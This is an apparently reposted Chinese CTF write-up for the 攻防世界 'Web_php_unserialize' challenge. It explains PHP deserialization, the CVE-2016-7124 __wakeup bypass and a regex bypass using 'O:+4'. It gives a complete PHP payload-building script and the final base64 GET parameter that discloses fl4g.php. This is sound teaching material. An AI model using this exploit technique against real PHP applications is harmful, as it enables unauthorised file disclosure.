• 攻防世界-web-Web_php_unserialize(PHP反序列化漏洞)


    本题进入场景后,显示如下代码:

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>

    可以看出,代码中使用了php反序列化函数unserialize(),且可以通过$var来控制unserialize()的变量,猜测存在php反序列化漏洞。

    php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。

    Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。

    php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。

    具体php反序列化学习可参考:https://www.cnblogs.com/ichunqiu/p/10484832.html

    看到源码,本题需要绕过一个__wakeup()函数和一个正则匹配,才能高亮显示出 fl4g.php 文件。

    绕过__wakeup():

    在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过。

    绕过__wakeup()是利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

    影响版本:

    • PHP before 5.6.25
    • 7.x before 7.0.10

    绕过正则:

    使用+可以绕过preg_match(), 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。

    脚本如下:

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    $var = new Demo('fl4g.php');
    $var = serialize($var);
    var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
    $var = str_replace(':1:', ':2:',$var);//绕过wakeup
    var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($var));#显示base64编码后的序列化字符串
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
    ?>

    最后get传参即可获得flag。

    ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

  • 相关阅读:
    [算法][递归] 整数划分 种类数
    [C++] 行程编码C++代码
    Integer IntegerCache源码
    mysql中函数greatest 与MAX区别
    mysql least函数
    easyui icon的使用相关
    jQueryEasyUI Messager基本使用
    EasyUI 修改 Messager 消息框大小
    静态代理和动态代理的区别
    table合并单元格colspan和rowspan
  • 原文地址:https://www.cnblogs.com/zhengna/p/13297816.html
Copyright © 2020-2023  润新知